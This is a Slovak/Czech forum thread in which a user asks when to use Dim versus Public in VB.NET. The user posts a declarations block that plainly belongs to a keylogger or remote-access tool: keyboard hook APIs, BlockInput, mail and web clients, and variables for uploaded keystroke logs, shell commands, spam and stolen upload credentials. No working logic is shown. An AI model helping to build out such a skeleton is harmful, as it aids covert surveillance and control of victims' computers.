Ujasnenie deklaracii   zodpovězená otázka

C#, VB.NET, WinAPI, .NET

Nazdar som trochu zmäteni z toho ako deklarovat , niekedy pouzijem Dim niekedy Public a newiem ktore je z nich najlepsie ? Dim sa tusim pouziva na deklaraciu a vyhradenie miesta pre jeho pouzitie a public je na to aby nebolo obmedzovane nic co tam je deklarovane ?

Velmi by som ocenil clanok o ujasneni ako pouzivat Structure , Dim , Public , Function a podobne. .

Dakujem za odpoved.

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

a este nieco myslite ze ked mam tolkoto deklaracii spomaluje to aplikaciu alebo ze by to zatazilo pamät ? kod:

#Region "Variables"

    'BEGIN API Functions
    Declare Function MoveWindow Lib "user32.dll" (ByVal hwnd As IntPtr, ByVal x As Integer, ByVal y As Integer, ByVal Width As Integer, ByVal Height As Integer, ByVal Repaint As Integer) As Integer
    Declare Function GetWindowRect Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpRect As RECT) As Integer
    Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
    '>Keyboard Hook Related Functions
    Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, ByVal dwThreadId As Integer) As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As KBDLLHOOKSTRUCT) As Integer
    Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
    '-Other API functions
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Private Declare Auto Function SystemParametersInfo Lib "user32.dll" (ByVal uAction As Integer, ByVal uParam As Integer, ByVal lpvParam As String, ByVal fuWinIni As Integer) As Integer
    '<Keyboard Hook Related Functions

    'END API Functions

    Dim String_Builder As New System.Text.StringBuilder()
    Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider
    Dim AES As New System.Security.Cryptography.RijndaelManaged
    Private Finished As New delUpdate(AddressOf UpdateText)
    Public Shared SessionEndingDetected As Boolean = False
    Public Client1 As New Net.WebClient
    Public Client2 As New Net.WebClient
    'Event Types_KEYLOGGER
    Private Const WM_KEYUP As Integer = &H101
    Private Const WM_KEYDOWN As Short = &H100S
    Private Const WM_SYSKEYDOWN As Integer = &H104
    Private Const WM_SYSKEYUP As Integer = &H105
    '>Other
    Private KeyboardHandle As IntPtr = 0 
    Private LastCheckedForegroundTitle As String = "" '
    Private callback As KeyboardHookDelegate = Nothing 
    Private CACHE_KeyLog As String 
    '<Other
    'End Event Types_KEYLOGGER


    Dim mail As New Mail.MailMessage()
    Dim SmtpServer As New Mail.SmtpClient
    Private Delegate Sub delUpdate()
    Public interv_T6_CMD As Integer = "1"
    Private Results As String

    'BEGIN CACHES
    Public APP_HANDLE_SHUTDOWN As Integer = "0"
    Public CACHE_001_KEYLOGGER As String
    Public CACHE_002_UPLOAD_LOG As String
    Public CACHE_003_COMMAND_EXECUTION As String
    Public CACHE_003_COMMAND_EXECUTION_HEADER01 As String
    Public CACHE_003_COMMAND_EXECUTION_CODE01 As String
    Public CACHE_003_COMMAND_EXECUTION_CODE02 As String
    Public CACHE_003_COMMAND_EXECUTION_CODE03 As String
    Public CACHE_003_COMMAND_EXECUTION_CODE04 As String
    Public CACHE_004_COMMAND_GETIP As String
    Public CACHE_004_COMMAND_GETIP_IP_1_CACHE As String
    Public CACHE_004_COMMAND_GETIP_IP_2_CACHE As String
    Public CACHE_005_COMMAND_RENUSER As String
    Public CACHE_006_COMMAND_SEARCH_INPUT_PATH As String
    Public CACHE_006_COMMAND_SEARCH_OUTPUT_PATH_INFO As String
    Public CACHE_007_COMMAND_PCINFO As String
    Public CACHE_008_COMMAND_UPTO_HOST As String
    Public CACHE_008_COMMAND_UPTO_USER As String
    Public CACHE_008_COMMAND_UPTO_PASS As String
    Public CACHE_009_UPLOAD_STATUS As String
    Public CACHE_010_COMMAND_PROCESSES As String
    Public CACHE_011_COMMAND_IOFILE_FILENAME As String
    Public CACHE_011_COMMAND_IOFILE_FILE_MOVE_PATH As String
    Public CACHE_012_COMMAND_UPDATE_TEXT As String
    Public CACHE_013_COMMAND_TIMER_INTERVAL As String
    Public CACHE_014_UPLOAD_UPTO_VALUES As String
    Public CACHE_015_UPTO_USER As String
    Public CACHE_015_UPTO_PASS As String
    Public CACHE_015_UPTO_HOST As String
    Public CACHE_015_UPTO_USER_BACKUP As String
    Public CACHE_015_UPTO_PASS_BACKUP As String
    Public CACHE_015_UPTO_HOST_BACKUP As String
    Public CACHE_016_COMMAND_SPAM As String
    Public CACHE_016_COMMAND_SPAM_CODE01 As String
    Public CACHE_017_COMMAND_WALLPAPERS As String
    Public CACHE_018_SHELLCMD As String
    Public CACHE_019_WINDOWS_DIRECTORY_PATH As String
    Public CACHE_020_APPLICATION_EXECUTABLE_PATH As String
    'END CACHES

    Public closeme As Integer
    Dim result As Integer
    Public KEYLOGGER_KEYBOARD_HOOK_STATUS As Integer = "0"

#End Region

Je niaka mudrejsia cesta alebo je ten kod v poriadku ?

nahlásit spamnahlásit spam -1 / 1 odpovědětodpovědět

Pokud musíte používat Windows API, tak se to jinak moc řešit asi nedá.

Jinak co se týče klíčových slov a povídání o VB.NET a C#, máme zde toto: http://www.vbnet.cz/serial--13-net_frame...

nahlásit spamnahlásit spam 1 / 1 odpovědětodpovědět
                       
Nadpis:
Antispam: Komu se občas házejí perly?
Příspěvek bude publikován pod identitou   anonym.
  • Administrátoři si vyhrazují právo komentáře upravovat či mazat bez udání důvodu.
    Mazány budou zejména komentáře obsahující vulgarity nebo porušující pravidla publikování.
  • Pokud nejste zaregistrováni, Vaše IP adresa bude zveřejněna. Pokud s tímto nesouhlasíte, příspěvek neodesílejte.

přihlásit pomocí externího účtu

přihlásit pomocí jména a hesla

Uživatel:  
Heslo:  

zapomenuté heslo

 

založit nový uživatelský účet

zaregistrujte se

 
zavřít

Nahlásit spam

Opravdu chcete tento příspěvek nahlásit pro porušování pravidel fóra?

Nahlásit Zrušit

Chyba

zavřít

feedback